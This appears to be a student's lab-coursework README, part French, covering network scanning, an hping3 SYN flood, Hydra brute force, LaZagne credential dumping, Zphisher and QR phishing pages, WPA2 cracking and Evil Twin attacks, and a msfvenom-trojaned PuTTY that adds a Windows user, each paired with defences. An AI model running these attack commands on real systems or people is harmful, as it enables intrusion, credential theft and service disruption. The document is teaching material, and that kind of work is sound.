French cybersecurity lab coursework covering network recon, DDoS, brute force, phishing, Wi-Fi attacks, malware generation, MITM, and a librsvg use-after-free CVE walkthrough.
Paule Prichna MOUANDZIBI NDINGA
This repository contains all the practical work carried out as part of the Cybersecurity module. The objective is to understand the mechanisms of computer attacks, to simulate them in a controlled environment, and to propose appropriate defense solutions.
Laboratory environment:
192.168.1.196)192.168.1.161)192.168.1.1Step 1 — Checking connectivity
ping -c 3 192.168.1.161Step 2 — Network topology with Nmap
nmap -sn 192.168.1.0/24192.168.1.161) and Kali (192.168.1.196).Step 3 — Scanning network services
nmap -sV -O 192.168.1.161Step 4 — Creating the Scapy script
scanner.pysr1, analyzing responses (SYN-ACK = open, RST = closed).python3 scanner.py 192.168.1.161 1 100Step 5 — Blocking with iptables
sudo iptables -A INPUT -p tcp --syn -m limit --limit 1/second -j ACCEPT
sudo iptables -A INPUT -p tcp --syn -j DROP
Test Nmap : nmap -sS --max-retries 1 192.168.1.161 → Message retransmission cap hit (Nmap abandonne).
Test Scapy : python3 scanner.py 192.168.1.161 1 100 → Détection partielle (le blocage n'est pas total).
Étape 6 — Configuration de PortSentry
Installation : sudo apt install portsentry -y
Configuration dans /etc/portsentry/portsentry.conf :
ini BLOCK_TCP="1" BLOCK_UDP="1" KILL_ROUTE="/usr/sbin/iptables -I INPUT -s $TARGET$ -j DROP" Redémarrage : sudo systemctl restart portsentry
Test : Scan Nmap depuis Kali → PortSentry détecte et bannit l'IP de Kali (192.168.1.196).
Vérification : sudo fail2ban-client status sshd → Banned IP list: 192.168.1.196.
Étape 7 — Application web avec IA (Q6 & Q7)
Installation de l'environnement : python3 -m venv venv, pip install openai flask python-nmap
Fichiers créés : app.py, scanner.py, ai_analyzer.py, templates/index.html
Clé API OpenRouter configurée dans une variable d'environnement.
Lancement : python3 app.py
Accès : http://192.168.1.161:5000 (interface rose).
Résultat : Tableau des services détectés + rapport d'analyse IA.
Extension avec Nikto : sudo apt install nikto -y, script vuln_scanner.py, détection de vulnérabilités (ex: /server-status accessible).
DoS : 1 source. DDoS : plusieurs sources (botnet).
Mécanismes : saturation de la bande passante, CPU, mémoire, connexions.
Étape 2 — Analyse d'impact
Attaques étudiées : DoS/DDoS, force brute, injection SQL, MITM, XSS, DNS Cache Poisoning, exploitation de vulnérabilités, ingénierie sociale.
Étape 3 — Simulation avec hping3
Commande depuis Kali : sudo hping3 -S --flood --rand-source -p 80 192.168.1.161
Vérification sur Ubuntu : ss -tan | grep SYN-RECV → Des centaines de connexions en attente.
Étape 4 — Détection et Protection
Protection SYN Cookies dans /etc/sysctl.conf :
ini net.ipv4.tcp_syncookies = 1 net.ipv4.tcp_max_syn_backlog = 2048 net.ipv4.tcp_synack_retries = 2 net.ipv4.tcp_syn_retries = 2 Application : sudo sysctl -p
Test après protection : ss -tan | grep SYN-RECV → Seulement 6 connexions (le serveur résiste).
Définition : Essayer plusieurs combinaisons de mots de passe.
Types : Simple, dictionnaire, hybride, table arc-en-ciel, distribuée.
Étape 2 — Génération du dictionnaire avec Wister
Clonage : git clone https://github.com/cycurity/wister.git
Création de mots.txt avec des mots probables.
Génération : wister -i ~/mots.txt → 6 mots de passe générés.
Étape 3 — Attaque SSH et FTP avec Hydra
Cible : 192.168.1.161, utilisateur : paulette.
Commande SSH : hydra -l paulette -P ~/mots.txt ssh://192.168.1.161
Résultat : Mot de passe passer123@@ trouvé en 6 secondes.
Commande FTP : hydra -l paulette -P ~/mots.txt ftp://192.168.1.161
Résultat : Mot de passe passer123@@ trouvé en 4 secondes.
Étape 4 — Utilisation de LaZagne
Connexion SSH : ssh [email protected]
Téléchargement : git clone https://github.com/AlessandroZ/LaZagne.git
Installation des dépendances : pip3 install psutil pycryptodome pyasn1 --break-system-packages
Exécution : sudo python3.11 laZagne.py all
Résultat : Récupération de 21 hashs depuis /etc/shadow, dont celui de cybersecurity (SHA-512).
Étape 5 — Prévention
Solutions : Mots de passe forts, Fail2ban, Clés SSH / 2FA.
Étape 6 — Configuration de Fail2ban
Installation : sudo apt install fail2ban -y
Création de /etc/fail2ban/jail.d/sshd.local :
ini [sshd] enabled = true port = ssh filter = sshd logpath = /var/log/auth.log maxretry = 3 findtime = 600 bantime = 3600 Redémarrage : sudo systemctl restart fail2ban
Test : Hydra échoue → ssh: connect to host 192.168.1.161 port 22: Connection refused.
Vérification : sudo fail2ban-client status sshd → Banned IP list: 192.168.1.196.
Phishing, Vishing, Smishing, Pretexting, Baiting, Quishing, Tailgating.
Étape 2 — Zphisher (Fausse page LinkedIn)
Installation : git clone https://github.com/htr-tech/zphisher.git
Lancement : bash zphisher.sh, choix du template LinkedIn, tunneling Localhost.
Modification de HOST='0.0.0.0' pour exposer la page sur le réseau.
Résultat : Identifiants capturés ([email protected] / passer123).
Étape 3 — Gophish (Campagne de sensibilisation)
Téléchargement et lancement de Gophish.
Configuration de MailHog pour capturer les emails.
Création d'un template, d'une landing page, d'un groupe cible et d'un profil SMTP.
Lancement de la campagne et suivi des statistiques.
Étape 4 — Fausse page Gmail avec Zphisher
Template Google, tunneling Localhost.
Résultat : Identifiants capturés ([email protected] / test123).
Étape 5 — Quishing (QR Code)
Génération d'un QR code avec qrencode -o qr_gmail.png -s 10 "http://192.168.1.196:8080".
Scan avec un smartphone → redirection vers la fausse page.
Étape 6 — Prévention
Solutions : MFA, sensibilisation, filtrage email (SPF, DKIM, DMARC).
WEP, WPA, WPA2, WPA3 (authentification, chiffrement, failles).
Étape 2 — Failles de sécurité
WEP : IV de 24 bits, RC4 faible. WPA : TKIP vulnérable. WPA2 : KRACK. WPA3 : Dragonblood.
Étape 3 — Attaque par force brute WPA2
Déploiement de WiFiChallengeLab-docker.
Scan avec airodump-ng --band abg wlan0mon.
Capture du handshake : airodump-ng -c 6 --bssid F0:9F:C2:71:22:12 -w /tmp/wpa-mobile wlan0mon.
Désauthentification : aireplay-ng --deauth 10 -a ....
Cassage : aircrack-ng /tmp/wpa-mobile-03.cap -w /usr/share/wordlists/rockyou.txt.
Résultat : Mot de passe starwars1 trouvé en 2 secondes.
Étape 4 — Attaque Evil Twin avec Airgeddon
Lancement d'Airgeddon, sélection de l'interface, mode moniteur.
Choix de l'attaque Evil Twin with Captive Portal.
Sélection du réseau cible wifi-mobile.
Configuration et lancement de l'attaque.
Capture du mot de passe Wi-Fi via le portail captif.
Étape 5 — Autres fonctionnalités
Capture du PMKID.
Beacon Flood.
WIDS/WIPS Confusion.
Étape 6 — Solutions de sécurisation
Mot de passe long et aléatoire (16+ caractères).
Migration vers WPA3 (SAE) et activation de PMF (802.11w).
Génération : msfvenom -a x86 --platform windows -p windows/exec CMD='net user junior Passer123 /add' -x /tmp/putty32.exe -k -f exe -o user_putty.exe
Transfert via serveur HTTP Python, exécution sur Windows.